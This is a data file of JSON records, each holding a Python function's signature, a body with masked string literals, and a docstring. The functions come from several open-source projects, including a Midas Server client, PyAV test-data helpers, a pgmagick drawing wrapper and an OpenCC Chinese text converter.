{"signature": "def _download_folder_recursive(folder_id, path='<STR_LIT:.>'):", "body": "session.token = verify_credentials()<EOL>cur_folder = session.communicator.folder_get(session.token, folder_id)<EOL>folder_path = os.path.join(path, cur_folder['<STR_LIT:name>'].replace('<STR_LIT:/>', '<STR_LIT:_>'))<EOL>print('<STR_LIT>'.format(folder_path))<EOL>try:<EOL><INDENT>os.mkdir(folder_path)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno == errno.EEXIST and session.allow_existing_download_paths:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>cur_children = session.communicator.folder_children(<EOL>session.token, folder_id)<EOL>for item in cur_children['<STR_LIT>']:<EOL><INDENT>_download_item(item['<STR_LIT>'], folder_path, item=item)<EOL><DEDENT>for folder in cur_children['<STR_LIT>']:<EOL><INDENT>_download_folder_recursive(folder['<STR_LIT>'], folder_path)<EOL><DEDENT>for callback in session.folder_download_callbacks:<EOL><INDENT>callback(session.communicator, session.token, cur_folder, folder_path)<EOL><DEDENT>", "docstring": "Download a folder to the specified path along with any children.\n\n:param folder_id: The id of the target folder\n:type folder_id: int | long\n:param path: (optional) the location to download the folder\n:type path: string", "id": "f8359:m20"}
{"signature": "def download_folder_recursive(folder_id, path='<STR_LIT:.>'):", "body": "_download_folder_recursive(folder_id, path)<EOL>", "docstring": "Download a folder to the specified path along with any children.\n\n:param folder_id: The id of the target folder\n:type folder_id: int | long\n:param path: (optional) the location to download the folder\n:type path: string", "id": "f8359:m21"}
{"signature": "def _download_item(item_id, path='<STR_LIT:.>', item=None):", "body": "session.token = verify_credentials()<EOL>filename, content_iter = session.communicator.download_item(<EOL>item_id, session.token)<EOL>item_path = os.path.join(path, filename)<EOL>print('<STR_LIT>'.format(item_path))<EOL>out_file = open(item_path, '<STR_LIT:wb>')<EOL>for block in content_iter:<EOL><INDENT>out_file.write(block)<EOL><DEDENT>out_file.close()<EOL>for callback in session.item_download_callbacks:<EOL><INDENT>if not item:<EOL><INDENT>item = session.communicator.item_get(session.token, item_id)<EOL><DEDENT>callback(session.communicator, session.token, item, item_path)<EOL><DEDENT>", "docstring": "Download the requested item to the specified path.\n\n:param item_id: The id of the item to be downloaded\n:type item_id: int | long\n:param path: (optional) the location to download the item\n:type path: string\n:param item: The dict of item info\n:type item: dict | None", "id": "f8359:m22"}
{"signature": "def download(server_path, local_path='<STR_LIT:.>'):", "body": "session.token = verify_credentials()<EOL>is_item, resource_id = _find_resource_id_from_path(server_path)<EOL>if resource_id == -<NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>'.format(server_path))<EOL><DEDENT>else:<EOL><INDENT>if is_item:<EOL><INDENT>_download_item(resource_id, local_path)<EOL><DEDENT>else:<EOL><INDENT>_download_folder_recursive(resource_id, local_path)<EOL><DEDENT><DEDENT>", "docstring": "Recursively download a file or item from the Midas Server instance.\n\n:param server_path: The location on the server to find the resource to\n    download\n:type server_path: string\n:param local_path: The location on the client to store the downloaded data\n:type local_path: string", "id": "f8359:m23"}
{"signature": "def get_exception_from_status_and_error_codes(status_code, error_code, value):", "body": "if status_code == requests.codes.bad_request:<EOL><INDENT>exception = BadRequest(value)<EOL><DEDENT>elif status_code == requests.codes.unauthorized:<EOL><INDENT>exception = Unauthorized(value)<EOL><DEDENT>elif status_code == requests.codes.forbidden:<EOL><INDENT>exception = Unauthorized(value)<EOL><DEDENT>elif status_code in [requests.codes.not_found, requests.codes.gone]:<EOL><INDENT>exception = NotFound(value)<EOL><DEDENT>elif status_code == requests.codes.method_not_allowed:<EOL><INDENT>exception = MethodNotAllowed(value)<EOL><DEDENT>elif status_code >= requests.codes.bad_request:<EOL><INDENT>exception = HTTPError(value)<EOL><DEDENT>else:<EOL><INDENT>exception = ResponseError(value)<EOL><DEDENT>if error_code == -<NUM_LIT:100>:  <EOL><INDENT>exception = InternalError(value)<EOL><DEDENT>elif error_code == -<NUM_LIT>:  <EOL><INDENT>exception = InvalidToken(value)<EOL><DEDENT>elif error_code == -<NUM_LIT>:  <EOL><INDENT>exception = UploadFailed(value)<EOL><DEDENT>elif error_code == -<NUM_LIT>:  <EOL><INDENT>exception = UploadTokenGenerationFailed(value)<EOL><DEDENT>elif error_code == -<NUM_LIT>:  <EOL><INDENT>exception = InvalidUploadToken(value)<EOL><DEDENT>elif error_code == -<NUM_LIT>:  <EOL><INDENT>exception = InvalidParameter(value)<EOL><DEDENT>elif error_code == -<NUM_LIT>:  <EOL><INDENT>exception = InvalidPolicy(value)<EOL><DEDENT>return exception<EOL>", "docstring": "Return an exception given status and error codes.\n\n:param status_code: HTTP status code.\n:type status_code: None | int\n:param error_code: Midas Server error code.\n:type error_code: None | int\n:param value: Message to display.\n:type value: string\n:returns: Exception.\n:rtype : pydas.exceptions.ResponseError", "id": "f8360:m0"}
{"signature": "def __init__(self, value):", "body": "super(PydasException, self).__init__()<EOL>self.value = value<EOL>self.method = None<EOL>self.code = None<EOL>", "docstring": "Override the constructor to support a basic message.\n\n:param value: Message to display.\n:type value: string", "id": "f8360:c0:m0"}
{"signature": "def __str__(self):", "body": "return repr(self.value)<EOL>", "docstring": "Override the string method.\n\n:returns: String representation of the message.\n:rtype: string", "id": "f8360:c0:m1"}
{"signature": "def __init__(self, value, request=None):", "body": "super(RequestError, self).__init__(value)<EOL>self.request = request<EOL>", "docstring": "Override the constructor to store the request sent.\n\n:param value: Message to display.\n:type value: string\n:param request: (optional) Request sent.\n:type request: requests.Request", "id": "f8360:c1:m0"}
{"signature": "def __init__(self, value, response=None):", "body": "super(ResponseError, self).__init__(value)<EOL>self.response = response<EOL>", "docstring": "Override the constructor to store the response received.\n\n:param value: Message to display.\n:type value: string\n:param response: (optional) Response received.\n:type response: requests.Response", "id": "f8360:c3:m0"}
{"signature": "def normalize(name):", "body": "return re.sub(r'<STR_LIT>', '<STR_LIT:->', name).lower()<EOL>", "docstring": "https://www.python.org/dev/peps/pep-0503/#normalized-names", "id": "f8370:m1"}
{"signature": "def validate_date(date_text):", "body": "try:<EOL><INDENT>if int(date_text) < <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>datetime.strptime(date_text, '<STR_LIT>')<EOL>return True<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Return True if valid, raise ValueError if not", "id": "f8370:m3"}
{"signature": "def get_download_total(rows):", "body": "headers = rows.pop(<NUM_LIT:0>)<EOL>index = headers.index('<STR_LIT>')<EOL>total_downloads = sum(int(row[index]) for row in rows)<EOL>rows.insert(<NUM_LIT:0>, headers)<EOL>return total_downloads, index<EOL>", "docstring": "Return the total downloads, and the downloads column", "id": "f8370:m8"}
{"signature": "def add_download_total(rows):", "body": "total_row = [\"<STR_LIT>\"] * len(rows[<NUM_LIT:0>])<EOL>total_row[<NUM_LIT:0>] = \"<STR_LIT>\"<EOL>total_downloads, downloads_column = get_download_total(rows)<EOL>total_row[downloads_column] = str(total_downloads)<EOL>rows.append(total_row)<EOL>return rows<EOL>", "docstring": "Add a final row to rows showing the total downloads", "id": "f8370:m9"}
{"signature": "def cached_download(url, name):", "body": "clean_name = os.path.normpath(name)<EOL>if clean_name != name:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(name))<EOL><DEDENT>for dir_ in iter_data_dirs():<EOL><INDENT>path = os.path.join(dir_, name)<EOL>if os.path.exists(path):<EOL><INDENT>return path<EOL><DEDENT><DEDENT>dir_ = next(iter_data_dirs(True))<EOL>path = os.path.join(dir_, name)<EOL>log.info(\"<STR_LIT>\".format(url, path))<EOL>response = urlopen(url)<EOL>if response.getcode() != <NUM_LIT:200>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(response.getcode()))<EOL><DEDENT>dir_ = os.path.dirname(path)<EOL>try:<EOL><INDENT>os.makedirs(dir_)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>tmp_path = path + '<STR_LIT>'<EOL>with open(tmp_path, '<STR_LIT:wb>') as fh:<EOL><INDENT>while True:<EOL><INDENT>chunk = response.read(<NUM_LIT>)<EOL>if chunk:<EOL><INDENT>fh.write(chunk)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>os.rename(tmp_path, path)<EOL>return path<EOL>", "docstring": "Download the data at a URL, and cache it under the given name.\n\n    The file is stored under `pyav/test` with the given name in the directory\n    :envvar:`PYAV_TESTDATA_DIR`, or the first that is writeable of:\n\n    - the current virtualenv\n    - ``/usr/local/share``\n    - ``/usr/local/lib``\n    - ``/usr/share``\n    - ``/usr/lib``\n    - the user's home", "id": "f8414:m1"}
{"signature": "def fate(name):", "body": "return cached_download('<STR_LIT>' + name,<EOL>os.path.join('<STR_LIT>', name.replace('<STR_LIT:/>', os.path.sep)))<EOL>", "docstring": "Download and return a path to a sample from the FFmpeg test suite.\n\n    Data is handled by :func:`cached_download`.\n\n    See the `FFmpeg Automated Test Environment <https://www.ffmpeg.org/fate.html>`_", "id": "f8414:m2"}
{"signature": "def curated(name):", "body": "return cached_download('<STR_LIT>' + name,<EOL>os.path.join('<STR_LIT>', name.replace('<STR_LIT:/>', os.path.sep)))<EOL>", "docstring": "Download and return a path to a sample that is curated by the PyAV developers.\n\n    Data is handled by :func:`cached_download`.", "id": "f8414:m3"}
{"signature": "def get_library_config(name):", "body": "try:<EOL><INDENT>proc = Popen(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', name], stdout=PIPE, stderr=PIPE)<EOL><DEDENT>except OSError:<EOL><INDENT>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>raw_cflags, err = proc.communicate()<EOL>if proc.wait():<EOL><INDENT>return<EOL><DEDENT>known, unknown = parse_cflags(raw_cflags.decode('<STR_LIT:utf8>'))<EOL>if unknown:<EOL><INDENT>print(\"<STR_LIT>\".format(unknown))<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>return known<EOL>", "docstring": "Get distutils-compatible extension extras for the given library.\n\n    This requires ``pkg-config``.", "id": "f8441:m1"}
{"signature": "def update_extend(dst, src):", "body": "for k, v in src.items():<EOL><INDENT>existing = dst.setdefault(k, [])<EOL>for x in v:<EOL><INDENT>if x not in existing:<EOL><INDENT>existing.append(x)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Update the `dst` with the `src`, extending values where lists.\n\n    Primiarily useful for integrating results from `get_library_config`.", "id": "f8441:m2"}
{"signature": "def dump_config():", "body": "print('<STR_LIT>', version, git_commit or '<STR_LIT>')<EOL>print('<STR_LIT>', sys.version.encode('<STR_LIT>' if PY3 else '<STR_LIT>'))<EOL>print('<STR_LIT>', platform.platform())<EOL>print('<STR_LIT>')<EOL>for k, vs in extension_extra.items():<EOL><INDENT>print('<STR_LIT>' % (k, [x.encode('<STR_LIT:utf8>') for x in vs]))<EOL><DEDENT>print('<STR_LIT>')<EOL>for x in sorted(config_macros.items()):<EOL><INDENT>print('<STR_LIT>' % x)<EOL><DEDENT>", "docstring": "Print out all the config information we have so far (for debugging).", "id": "f8441:m4"}
{"signature": "def _CCompiler_spawn_silent(cmd, dry_run=None):", "body": "proc = Popen(cmd, stdout=PIPE, stderr=PIPE)<EOL>out, err = proc.communicate()<EOL>if proc.returncode:<EOL><INDENT>raise DistutilsExecError(err)<EOL><DEDENT>", "docstring": "Spawn a process, and eat the stdio.", "id": "f8441:m5"}
{"signature": "def new_compiler(*args, **kwargs):", "body": "make_silent = kwargs.pop('<STR_LIT>', True)<EOL>cc = _new_compiler(*args, **kwargs)<EOL>if is_msvc(cc):<EOL><INDENT>from distutils.msvc9compiler import get_build_version<EOL>if get_build_version() == <NUM_LIT:10>:<EOL><INDENT>cc.initialize()<EOL>for ldflags in [cc.ldflags_shared, cc.ldflags_shared_debug]:<EOL><INDENT>unique_extend(ldflags, ['<STR_LIT>'])<EOL><DEDENT><DEDENT>elif get_build_version() == <NUM_LIT>:<EOL><INDENT>make_silent = False<EOL><DEDENT><DEDENT>if make_silent:<EOL><INDENT>cc.spawn = _CCompiler_spawn_silent<EOL><DEDENT>return cc<EOL>", "docstring": "Create a C compiler.\n\n    :param bool silent: Eat all stdio? Defaults to ``True``.\n\n    All other arguments passed to ``distutils.ccompiler.new_compiler``.", "id": "f8441:m6"}
{"signature": "def iter_cython(path):", "body": "for dir_path, dir_names, file_names in os.walk(path):<EOL><INDENT>for file_name in file_names:<EOL><INDENT>if file_name.startswith('<STR_LIT:.>'):<EOL><INDENT>continue<EOL><DEDENT>if os.path.splitext(file_name)[<NUM_LIT:1>] not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>yield os.path.join(dir_path, file_name)<EOL><DEDENT><DEDENT>", "docstring": "Yield all ``.pyx`` and ``.pxd`` files in the given root.", "id": "f8442:m1"}
{"signature": "def exebench(width):", "body": "height = width * <NUM_LIT:2> / <NUM_LIT:3><EOL>with Benchmarker(width=<NUM_LIT:30>, loop=N) as bm:<EOL><INDENT>for i in bm('<STR_LIT>'):<EOL><INDENT>imlib2_scale('<STR_LIT>', width, height)<EOL><DEDENT>for i in bm(\"<STR_LIT>\"):<EOL><INDENT>pil_scale('<STR_LIT>', width, height)<EOL><DEDENT>for i in bm(\"<STR_LIT>\"):<EOL><INDENT>pgmagick_scale_from_blob('<STR_LIT>', width, height)<EOL><DEDENT>for i in bm(\"<STR_LIT>\"):<EOL><INDENT>pgmagick_scale('<STR_LIT>', width, height)<EOL><DEDENT>for i in bm(\"<STR_LIT>\"):<EOL><INDENT>pgmagick_scale_plus_sharpen('<STR_LIT>', width, height)<EOL><DEDENT>for i in bm(\"<STR_LIT>\"):<EOL><INDENT>opencv_scale('<STR_LIT>', width, height)<EOL><DEDENT>for i in bm(\"<STR_LIT>\"):<EOL><INDENT>pyimlib2_scale('<STR_LIT>', width, height)<EOL><DEDENT>for i in bm(\"<STR_LIT>\"):<EOL><INDENT>pyimlib2_scale_with_pgmagicksharpen('<STR_LIT>', width, height)<EOL><DEDENT><DEDENT>return bm.results<EOL>", "docstring": "benchorg.jpg is\n'http://upload.wikimedia.org/wikipedia/commons/d/df/SAND_LUE.jpg'", "id": "f8445:m11"}
{"signature": "def _convert_coordinatelist(input_obj):", "body": "cdl = pgmagick.CoordinateList()<EOL>for obj in input_obj:<EOL><INDENT>cdl.append(pgmagick.Coordinate(obj[<NUM_LIT:0>], obj[<NUM_LIT:1>]))<EOL><DEDENT>return cdl<EOL>", "docstring": "convert from 'list' or 'tuple' object to pgmagick.CoordinateList.\n\n    :type input_obj: list or tuple", "id": "f8458:m1"}
{"signature": "def _convert_vpathlist(input_obj):", "body": "vpl = pgmagick.VPathList()<EOL>for obj in input_obj:<EOL><INDENT>obj = pgmagick.PathMovetoAbs(pgmagick.Coordinate(obj[<NUM_LIT:0>], obj[<NUM_LIT:1>]))<EOL>vpl.append(obj)<EOL><DEDENT>return vpl<EOL>", "docstring": "convert from 'list' or 'tuple' object to pgmagick.VPathList.\n\n    :type input_obj: list or tuple", "id": "f8458:m3"}
{"signature": "def get_exif_info(self):", "body": "_dict = {}<EOL>for tag in _EXIF_TAGS:<EOL><INDENT>ret = self.img.attribute(\"<STR_LIT>\" % tag)<EOL>if ret and ret != '<STR_LIT>':<EOL><INDENT>_dict[tag] = ret<EOL><DEDENT><DEDENT>return _dict<EOL>", "docstring": "return exif-tag dict", "id": "f8458:c0:m34"}
{"signature": "def bezier(self, points):", "body": "coordinates = pgmagick.CoordinateList()<EOL>for point in points:<EOL><INDENT>x, y = float(point[<NUM_LIT:0>]), float(point[<NUM_LIT:1>])<EOL>coordinates.append(pgmagick.Coordinate(x, y))<EOL><DEDENT>self.drawer.append(pgmagick.DrawableBezier(coordinates))<EOL>", "docstring": "Draw a Bezier-curve.\n\n        :param points: ex.) ((5, 5), (6, 6), (7, 7))\n        :type points: list", "id": "f8458:c1:m3"}
{"signature": "def color(self, x, y, paint_method):", "body": "paint_method = _convert_paintmethod(paint_method)<EOL>color = pgmagick.DrawableColor(x, y, paint_method)<EOL>self.drawer.append(color)<EOL>", "docstring": ":param paint_method: 'point' or 'replace' or 'floodfill' or\n                     'filltoborder' or 'reset'\n:type paint_method: str or pgmagick.PaintMethod", "id": "f8458:c1:m5"}
{"signature": "def ellipse(self, org_x, org_y, radius_x, radius_y, arc_start, arc_end):", "body": "ellipse = pgmagick.DrawableEllipse(float(org_x), float(org_y),<EOL>float(radius_x), float(radius_y),<EOL>float(arc_start), float(arc_end))<EOL>self.drawer.append(ellipse)<EOL>", "docstring": ":param org_x: origination x axis\n:param org_y: origination y axis\n:param radius_x: radius x axis\n:param radius_y: radius y axis\n:param arc_start: arc start angle\n:param arc_end: arc end angle", "id": "f8458:c1:m7"}
{"signature": "def fill_opacity(self, opacity):", "body": "opacity = pgmagick.DrawableFillOpacity(float(opacity))<EOL>self.drawer.append(opacity)<EOL>", "docstring": ":param opacity: 0.0 ~ 1.0", "id": "f8458:c1:m10"}
{"signature": "def matte(self, x, y, paint_method):", "body": "paint_method = _convert_paintmethod(paint_method)<EOL>self.drawer.append(pgmagick.DrawableMatte(x, y, paint_method))<EOL>", "docstring": ":param paint_method: 'point' or 'replace' or 'floodfill' or\n                     'filltoborder' or 'reset'\n:type paint_method: str or pgmagick.PaintMethod", "id": "f8458:c1:m14"}
{"signature": "def scaling(self, x, y):", "body": "self.drawer.append(pgmagick.DrawableScaling(float(x), float(y)))<EOL>", "docstring": "Scaling Draw Object\n\n        :param x: 0.0 ~ 1.0\n        :param y: 0.0 ~ 1.0", "id": "f8458:c1:m24"}
{"signature": "def stroke_antialias(self, flag=True):", "body": "antialias = pgmagick.DrawableStrokeAntialias(flag)<EOL>self.drawer.append(antialias)<EOL>", "docstring": "stroke antialias\n\n        :param flag: True or False. (default is True)\n        :type flag: bool", "id": "f8458:c1:m27"}
{"signature": "def stroke_linecap(self, linecap):", "body": "linecap = getattr(pgmagick.LineCap, \"<STR_LIT>\" % linecap.title())<EOL>linecap = pgmagick.DrawableStrokeLineCap(linecap)<EOL>self.drawer.append(linecap)<EOL>", "docstring": "set to stroke linecap.\n\n        :param linecap: 'undefined', 'butt', 'round', 'square'\n        :type linecap: str", "id": "f8458:c1:m29"}
{"signature": "def stroke_linejoin(self, linejoin):", "body": "linejoin = getattr(pgmagick.LineJoin, \"<STR_LIT>\" % linejoin.title())<EOL>linejoin = pgmagick.DrawableStrokeLineJoin(linejoin)<EOL>self.drawer.append(linejoin)<EOL>", "docstring": "set to stroke linejoin.\n\n        :param linejoin: 'undefined', 'miter', 'round', 'bevel'\n        :type linejoin: str", "id": "f8458:c1:m30"}
{"signature": "def text_antialias(self, flag=True):", "body": "antialias = pgmagick.DrawableTextAntialias(flag)<EOL>self.drawer.append(antialias)<EOL>", "docstring": "text antialias\n\n        :param flag: True or False. (default is True)\n        :type flag: bool", "id": "f8458:c1:m34"}
{"signature": "def text_decoration(self, decoration):", "body": "if decoration.lower() == '<STR_LIT>':<EOL><INDENT>d = pgmagick.DecorationType.LineThroughDecoration<EOL><DEDENT>else:<EOL><INDENT>decoration_type_string = \"<STR_LIT>\" % decoration.title()<EOL>d = getattr(pgmagick.DecorationType, \"<STR_LIT:%s>\" % decoration_type_string)<EOL><DEDENT>decoration = pgmagick.DrawableTextDecoration(d)<EOL>self.drawer.append(decoration)<EOL>", "docstring": "text decoration\n\n        :param decoration: 'no', 'underline', 'overline', 'linethrough'\n        :type decoration: str", "id": "f8458:c1:m35"}
{"signature": "def get_version_from_pc(search_dirs, target):", "body": "for dirname in search_dirs:<EOL><INDENT>for root, dirs, files in os.walk(dirname):<EOL><INDENT>for f in files:<EOL><INDENT>if f == target:<EOL><INDENT>file_path = os.path.join(root, target)<EOL>_tmp = _grep(\"<STR_LIT>\", file_path)<EOL>version = _tmp.split()[<NUM_LIT:1>]<EOL>print(\"<STR_LIT>\" % (version, file_path))<EOL>return version<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "similar to 'pkg-config --modversion GraphicsMagick++", "id": "f8473:m2"}
{"signature": "def library_supports_api(library_version, api_version, different_major_breaks_support=True):", "body": "assert isinstance(library_version, (tuple, list))  <EOL>assert len(library_version) == <NUM_LIT:3><EOL>sequence_type = type(library_version)  <EOL>api_version = sequence_type(<NUM_LIT:0> if num == '<STR_LIT:x>' else num for num in api_version)<EOL>if different_major_breaks_support and library_version[<NUM_LIT:0>] != api_version[<NUM_LIT:0>]:<EOL><INDENT>return False<EOL><DEDENT>assert len(api_version) <= <NUM_LIT:3>     <EOL>return library_version >= api_version<EOL>", "docstring": "Returns whether api_version is supported by given library version.\nE. g.  library_version (1,3,21) returns True for api_version (1,3,21), (1,3,19), (1,3,'x'), (1,2,'x'), (1, 'x')\n       False for (1,3,24), (1,4,'x'), (2,'x')\n\ndifferent_major_breaks_support - if enabled and library and api major versions are different always return False\n       ex) with library_version (2,0,0) and for api_version(1,3,24) returns False if enabled, True if disabled", "id": "f8473:m4"}
{"signature": "def version():", "body": "with io.open('<STR_LIT>') as input_file:<EOL><INDENT>for line in input_file:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>return ast.parse(line).body[<NUM_LIT:0>].value.s<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Return version string.", "id": "f8473:m5"}
{"signature": "def merge(mer_inputs=MER_INPUTS, mer_output=MER_OUTPUT):", "body": "dirname = os.path.dirname(__file__)<EOL>output_file = os.path.join(dirname, DICT_DIRECTORY, mer_output)<EOL>lines = []<EOL>for in_file in MER_INPUTS:<EOL><INDENT>input_file = os.path.join(dirname, DICT_DIRECTORY, in_file)<EOL>with open(input_file, encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>for line in f:<EOL><INDENT>lines.append(line)<EOL><DEDENT><DEDENT><DEDENT>with open(output_file, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>for line in lines:<EOL><INDENT>f.write(line)<EOL><DEDENT><DEDENT>", "docstring": "merge the phrase files into one file\n:param mer_inputs: the phrase files\n:param mer_output: the output file\n:return: None", "id": "f8477:m0"}
{"signature": "def reverse(rev_inputs=REV_INPUTS):", "body": "dirname = os.path.dirname(__file__)<EOL>for in_file in rev_inputs:<EOL><INDENT>reversed_dict = {}<EOL>input_file = in_file + '<STR_LIT>'<EOL>output_file = in_file + '<STR_LIT>'<EOL>input_file = os.path.join(dirname, DICT_DIRECTORY, input_file)<EOL>output_file = os.path.join(dirname, DICT_DIRECTORY, output_file)<EOL>with open(input_file, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>for line in f:<EOL><INDENT>line = line.strip()<EOL>split = line.split('<STR_LIT:\\t>')<EOL>if len(split) < <NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>term1 = split[<NUM_LIT:0>]<EOL>term2 = split[<NUM_LIT:1>]<EOL>for char in term2.split('<STR_LIT:U+0020>'):<EOL><INDENT>if char in reversed_dict:<EOL><INDENT>reversed_dict[char].append(term1)<EOL><DEDENT>else:<EOL><INDENT>reversed_dict[char] = [term1]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>with open(output_file, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>for key in reversed_dict:<EOL><INDENT>line = key + '<STR_LIT:\\t>' + '<STR_LIT:U+0020>'.join(reversed_dict[key]) + '<STR_LIT:\\n>'<EOL>f.write(line)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "reverse the key, value in dictionary file\n:param rev_inputs: the files to be reversed\n:return: None", "id": "f8478:m0"}
{"signature": "def __init__(self, conversion=None):", "body": "self.conversion_name = '<STR_LIT>'<EOL>self.conversion = conversion<EOL>self._dict_init_done = False<EOL>self._dict_chain = list()<EOL>self._dict_chain_data = list()<EOL>self.dict_cache = dict()<EOL>self.split_chars_re = re.compile(<EOL>r'<STR_LIT>')<EOL>if self.conversion is not None:<EOL><INDENT>self._init_dict()<EOL><DEDENT>", "docstring": "init OpenCC\n:param conversion: the conversion of usage, options are\n 'hk2s', 's2hk', 's2t', 's2tw', 's2twp', 't2hk', 't2s', 't2tw', 'tw2s', and 'tw2sp'\n check the json file names in config directory\n:return: None", "id": "f8482:c0:m0"}
{"signature": "def convert(self, string):", "body": "if not self._dict_init_done:<EOL><INDENT>self._init_dict()<EOL>self._dict_init_done = True<EOL><DEDENT>result = []<EOL>split_string_list = self.split_chars_re.split(string)<EOL>for i in range(<NUM_LIT:0>, len(split_string_list)):<EOL><INDENT>if i % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>result.append(self._convert(split_string_list[i], self._dict_chain_data))<EOL><DEDENT>else:<EOL><INDENT>result.append(split_string_list[i])<EOL><DEDENT><DEDENT>return \"<STR_LIT>\".join(result)<EOL>", "docstring": "Convert string from Simplified Chinese to Traditional Chinese or vice versa", "id": "f8482:c0:m1"}
{"signature": "def _convert(self, string, dictionary = [], is_dict_group = False):", "body": "tree = StringTree(string)<EOL>for c_dict in dictionary:<EOL><INDENT>if isinstance(c_dict, tuple):<EOL><INDENT>tree.convert_tree(c_dict)<EOL>if not is_dict_group:<EOL><INDENT>tree = StringTree(\"<STR_LIT>\".join(tree.inorder()))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tree = StringTree(self._convert(\"<STR_LIT>\".join(tree.inorder()), c_dict, True))<EOL><DEDENT><DEDENT>return \"<STR_LIT>\".join(tree.inorder())<EOL>", "docstring": "Convert string from Simplified Chinese to Traditional Chinese or vice versa\nIf a dictionary is part of a group of dictionaries, stop conversion on a word\nafter the first match is found.\n:param string: the input string\n:param dictionary: list of dictionaries to be applied against the string\n:param is_dict_group: indicates if this is a group of dictionaries in which only\n                      the first match in the dict group should be used\n:return: converted string", "id": "f8482:c0:m2"}
{"signature": "def _init_dict(self):", "body": "if self.conversion is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._dict_chain = []<EOL>config = self.conversion + '<STR_LIT>'<EOL>config_file = os.path.join(os.path.dirname(__file__), CONFIG_DIR, config)<EOL>with open(config_file) as f:<EOL><INDENT>setting_json = json.load(f)<EOL><DEDENT>self.conversion_name = setting_json.get('<STR_LIT:name>')<EOL>for chain in setting_json.get('<STR_LIT>'):<EOL><INDENT>self._add_dict_chain(self._dict_chain, chain.get('<STR_LIT>'))<EOL><DEDENT>self._dict_chain_data = []<EOL>self._add_dictionaries(self._dict_chain, self._dict_chain_data)<EOL>self._dict_init_done = True<EOL>", "docstring": "initialize the dict with chosen conversion\n:return: None", "id": "f8482:c0:m3"}
{"signature": "def _add_dict_chain(self, dict_chain, dict_dict):", "body": "if dict_dict.get('<STR_LIT:type>') == '<STR_LIT>':<EOL><INDENT>chain = []<EOL>for dict_item in dict_dict.get('<STR_LIT>'):<EOL><INDENT>self._add_dict_chain(chain, dict_item)<EOL><DEDENT>dict_chain.append(chain)<EOL><DEDENT>elif dict_dict.get('<STR_LIT:type>') == '<STR_LIT>':<EOL><INDENT>filename = dict_dict.get('<STR_LIT:file>')<EOL>dict_file = os.path.join(os.path.dirname(__file__), DICT_DIR, filename)<EOL>dict_chain.append(dict_file)<EOL><DEDENT>", "docstring": "add dict chain\n:param dict_chain: the dict chain to add to\n:param dict_dict: the dict to be added in\n:return: None", "id": "f8482:c0:m5"}
{"signature": "def set_conversion(self, conversion):", "body": "if self.conversion == conversion:<EOL><INDENT>return<EOL><DEDENT>else:<EOL><INDENT>self._dict_init_done = False<EOL>self.conversion = conversion<EOL><DEDENT>", "docstring": "set conversion\n:param conversion: the conversion of usage, options are\n 'hk2s', 's2hk', 's2t', 's2tw', 's2twp', 't2hk', 't2s', 't2tw', 'tw2s', and 'tw2sp'\n check the json file names in config directory\n:return: None", "id": "f8482:c0:m6"}
{"signature": "def inorder(self):", "body": "result = []<EOL>if self.left is not None:<EOL><INDENT>result += self.left.inorder()<EOL><DEDENT>result.append(self.string)<EOL>if self.right is not None:<EOL><INDENT>result += self.right.inorder()<EOL><DEDENT>return result<EOL>", "docstring": "Inorder traversal of this tree\n:param None\n:return: list of words from a inorder traversal of the tree", "id": "f8482:c1:m2"}
{"signature": "def __mul__(self, point):", "body": "p = Point()<EOL>p.x = self.y * point.z - self.z * point.y<EOL>p.y = self.z * point.x - self.x * point.z<EOL>p.z = self.x * point.y - self.y * point.x<EOL>return p<EOL>", "docstring": "Cross product", "id": "f8486:c0:m2"}
{"signature": "def node(self, node):", "body": "if node == self.node1:<EOL><INDENT>return self.node2<EOL><DEDENT>elif node == self.node2:<EOL><INDENT>return self.node1<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the other node", "id": "f8487:c0:m1"}
